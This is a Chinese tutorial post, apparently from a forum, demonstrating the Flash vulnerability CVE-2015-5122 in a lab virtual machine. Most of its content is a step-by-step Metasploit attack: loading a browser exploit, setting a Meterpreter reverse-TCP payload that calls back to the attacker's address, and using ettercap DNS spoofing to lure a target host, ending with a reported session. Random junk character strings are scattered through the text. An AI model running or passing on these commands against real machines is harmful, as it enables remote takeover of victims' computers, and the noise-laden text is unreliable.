cve2015-5122漏洞实例演示虚拟机

admin

二、cve2015-5122漏洞实例演示虚拟机

C5 b1 M% t0 K% K0 k8 H/ V

( C y' d2 Z" N0 l3 Q9 H   关于cve2015-5122这个漏洞，大家可以百度一下，是关于flash的漏洞，是2015年flash漏洞的第二发，今天我们就用这个漏洞来演示，开启kai linux msfconsole命令启动msf如图： ! g7 G' `" r5 E

2 j) U! T2 H! l5 _3 d4 c1 ` search cve-2015-5122如图：

! X" B9 G1 N, {; Q1 }2 H  

1 a; R( [! F( T5 i

下面我们敲如下命令：

. F. V* H1 M6 i) e

* }$ o2 p$ T! t use exploit/multi/browser/adobe_flash_opaque_background_uaf

set PAYLOAD windows/meterpreter/reverse_tcp 7 Q: p) d1 X! B# p; U

& S, h; K6 B) C! G2 O7 H5 f

; K; M) u8 }% f- n R7 g set LHOST 192.168.0.109

+ K' X1 e) w- |" [0 Q, K5 O. V

set URIPATH /                        /*根目录*/ + ]% h# k+ u* o+ _9 Q3 B

' R7 S) V, j! N* J3 E

set SRVHOST 192.168.0.109  //192.168.0.109为kaili ip地址

- ]& K' W( k9 A! c1 {: n, b$ \

set SRVPORT 80            /*80端口*/ 使用80端口时要保证apache为停止状态用service apache2 stop命令停止否则会提示端口被占用 + _* i7 k2 I2 w, c, L9 v/ _$ q

( d+ H5 q; z% X$ H0 U* h6 `! h

' j0 Z+ e+ Y0 f6 s0 Q1 [2 B 然后show options如图：

& @2 _. u0 t7 `9 Q6 m3 C/ H# A   " ]* L& N: o D

, P# h- X |/ p+ H" O- _8 |5 y% t

一切都设置好了，执行exploit。下面我们进etc/ettercap目录下设置etc.dns如图：
9 K) Z! M; z3 f+ w3 s

# {# o7 {+ l- c# Y 然后ettercap -G命令打开ettercap，我们要攻击的主机ip是192.168.0。115 * J b0 H# ^% Z/ H0 \5 s

6 j* X' O) R Y F8 [

7 F( [8 \* i, ~" i) M6 g) O* | Ettercap过程第一篇里已经演示，这里不在详细写了。。。执行完ettercap以后我们观察一下msf

2 I8 R# d5 ~% L

  ) j# O4 c q' t- r

成功了，这时候我们断开ettercap，如图：

- d) k, M7 P8 ]6 y+ B

! U F4 b$ o9 x- Z   8 w8 T* j+ z% X" \

p( Z; M+ O9 q% [

/ A) i# Z- ?3 I) G M; v Screenshot如图： 9 ^& e3 w- U- c+ C

& a! C! D2 |2 v" s8 }- z5 a% |   : K( T* T* e4 e- O

! G( k% a- P9 }9 V, c